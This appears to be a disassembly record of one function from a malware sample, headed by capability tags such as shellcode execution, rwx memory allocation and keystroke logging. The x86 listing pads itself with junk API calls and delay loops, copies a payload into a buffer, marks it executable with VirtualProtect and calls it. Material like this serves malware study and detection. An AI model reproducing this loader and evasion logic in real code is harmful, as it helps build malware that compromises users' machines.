Function at 0x40c360
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Log keystrokes via polling
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x425004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetLastError]
push edi
mov edi, 0x3661b338
cmp dword [0x1efa214], 0xc31
jne 0x40c394
push 0
call ebx
push 0
call esi
dec edi
jne 0x40c384
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x40c3b7
mov eax, dword [0x427004]
mov dword [0x1efa59c], eax
cmp dword [0x1efa214], 0x3c
jne 0x40c3c5
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x40c3a5
cmp dword [0x1efa214], 0x7c
jne 0x40c445
push ebx
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebx
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalShrink]
cmp dword [0x1efa214], 0x2d
jne 0x40c427
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0x423362
push 0x427db0
call fcn.0040123d
fldz
fstp qword [esp]
call fcn.004010e0
fstp st(0)
add esp, 8
cmp dword [0x1efa214], 0x110a
jne 0x40c4b6
mov dword [0x1efa208], ebx
mov dword [0x1efa20c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push ebx
push ebx
call fcn.004011fd
push ebx
push ebx
call fcn.004011fd
push ebx
push ebx
call fcn.004011fd
push ebx
call fcn.0040100f
push ebx
push ebx
push ebx
call fcn.004010bb
add esp, 0x28
call fcn.0040c120
xor esi, esi
cmp dword [0x1efa214], ebx
jbe 0x40c50d
mov edi, dword [sym.imp.KERNEL32.dll_ReplaceFileA]
jmp 0x40c4d0
mov edx, dword [0x1efa59c]
mov dword [ebp - 8], edx
mov eax, 0xa231
add dword [ebp - 8], eax
cmp dword [0x1efa214], 0x5ab
mov eax, dword [ebp - 8]
mov cl, byte [eax + esi]
mov edx, dword [0x1ef9f38]
mov byte [edx + esi], cl
jne 0x40c504
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x1efa214]
jb 0x40c4d0
call fcn.0040c150
mov ecx, dword [0x1efa214]
mov edx, dword [0x1ef9f38]
lea eax, [ebp - 0xc]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0040c2f0
call fcn.0040c140
mov ebx, dword [ebp - 0x30]
mov edi, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x40c557
cmp ebx, 0xf5bed7
jne 0x40c560
inc esi
cmp esi, 0x1ece7a52
jl 0x40c541
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor esi, esi
mov edi, edi
cmp esi, 0x12e6c3
jne 0x40c57d
call fcn.0040c110
cmp dword [0x1efa214], 0x3dc
mov dword [0x1ef9f3c], 0x8e46a6f0
jne 0x40c5aa
xor eax, eax
lea edx, [ebp - 0x10]
push edx
push eax
push eax
push eax
push eax
mov dword [ebp - 8], eax
call edi
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x40c570
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret